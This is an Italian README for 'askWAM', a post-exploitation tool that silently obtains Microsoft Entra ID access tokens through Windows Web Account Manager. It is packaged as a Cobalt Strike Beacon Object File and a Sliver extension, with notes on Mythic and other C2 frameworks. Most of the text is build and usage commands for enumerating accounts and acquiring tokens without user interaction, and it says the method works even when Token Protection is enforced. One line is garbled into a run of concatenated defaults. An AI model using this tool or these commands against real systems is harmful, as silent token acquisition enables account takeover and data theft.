
Chiedi all'Account Manager Web (WAM) i token di Entra ID
askWAM richiede token di accesso Microsoft Entra in modo silenzioso tramite Windows Web
Account Manager (WAM). Viene distribuito come client .NET Framework, come client nativo
x64 standalone e come Beacon Object File x64 con un adattatore di comandi CNA.
Tutti i frontend possono enumerare gli account visibili al client e scegliere come target un'identità tramite il suo ID account WAM opaco o il nome utente esatto. Non ricorrono mai all'autenticazione interattiva.
I token richiesti tramite questo flusso erediteranno i seguenti dettagli:
Questo modo di richiedere i token funziona anche quando Token Protection è applicato.
I token CAE possono essere richiesti con il flag --cae.
1fec8e78-bce4-4aaf-ab1b-5451cc387264https://graph.microsoft.com/.defaultorganizations--hide lo sopprimeLo scope Graph predefinito viene selezionato solo quando non vengono forniti né --scope né --resource.
La modalità scope accetta uno o più scope v2. Aggiunge
openid offline_access profile e imposta la proprietà di richiesta wam_compat=2.0 di WAM.
askwam --scope https://graph.microsoft.com/.default
La modalità resource implementa il flusso v1-compatibile di WAM. Invia uno scope vuoto, imposta
la proprietà di richiesta resource di WAM e non imposta wam_compat.
askwam --resource https://graph.microsoft.com
--scope e --resource sono mutuamente esclusivi.
--enum Enumera gli account senza richiedere un token
--account-id <id> Seleziona un ID account WAM opaco esatto
--username <username> Seleziona un nome utente esatto e univoco
--cae Invia l'oggetto claims predefinito xms_cc/cp1
--claims-json <json> Invia un oggetto o challenge claims OAuth non elaborato
Il client .NET supporta inoltre --claims-file <path> per leggere un oggetto claims OAuth
non elaborato da un file UTF-8. --cae è mutuamente esclusivo con l'input di claims personalizzati. Includi cp1 nell'oggetto non elaborato quando anche una challenge personalizzata richiede CAE.
La distribuzione richiede Windows con .NET Framework 4.8. La directory di release contiene l'applicazione e la sua configurazione di runtime; non contiene un runtime .NET o WinRT privato.
La compilazione richiede l'.NET SDK e i metadati di Windows SDK 10.0.26100.0 per impostazione predefinita.
Imposta la proprietà MSBuild WindowsMetadataPath quando usi un altro Windows 10 o Windows 11 SDK installato.
dotnet build .\src\dotnet\AskWAM.csproj --configuration Release
.\src\dotnet\bin\Release\net48\askwam.exe --enum
.\src\dotnet\bin\Release\net48\askwam.exe --resource https://graph.microsoft.com --hide
Il client scrive righe semplici name=value. Non decodifica né stampa i claims JWT.
La compilazione richiede Visual Studio 2022 C++ Build Tools e un Windows 10 o Windows 11 SDK. L'enumerazione degli account richiede Windows 10 versione 1803 o successiva.
.\src\native\build.ps1 -Configuration Release
.\src\native\bin\Release\askwam.exe --enum
.\src\native\bin\Release\askwam.exe --resource https://graph.microsoft.com --hide
L'eseguibile di release è collegato staticamente al runtime C e utilizza la superficie API WinRT inclusa nel sistema. Il suo formato di risultato leggibile dalla macchina è JSON.
Compila il BOF x64 e carica src\bof\askwam.cna in Cobalt Strike:
.\src\bof\build.ps1 -Configuration Release
askwam --enum
askwam --account-id <id-from-enum>
askwam --resource https://graph.microsoft.com --hide
askwam --cae --hide
askwam --claims-json {"access_token":{"xms_cc":{"values":["cp1"]}}}
Lo script di build verifica il punto di ingresso del BOF e la allowlist dei simboli non definiti. Quando
-BofLintPath o BOFLINT_PATH indicano boflint.py di Outflank, valida
anche l'oggetto di release per i profili loader di Cobalt Strike, Outflank C2 e Core Impact.
Il progetto include anche src\bof\extension.json per caricare il BOF di Release come
estensione Sliver. Mythic Apollo non necessita di un file sidecar equivalente; il suo
comando execute_coff accetta l'oggetto e la stessa sequenza di argomenti tipizzati.
Vedi src\bof\README.md per entrambe le integrazioni e il contratto degli argomenti packed.
Documentazione ufficiale:
Progetti simili:
Questo progetto è stato creato da Codex usando GPT 5.6 Sol.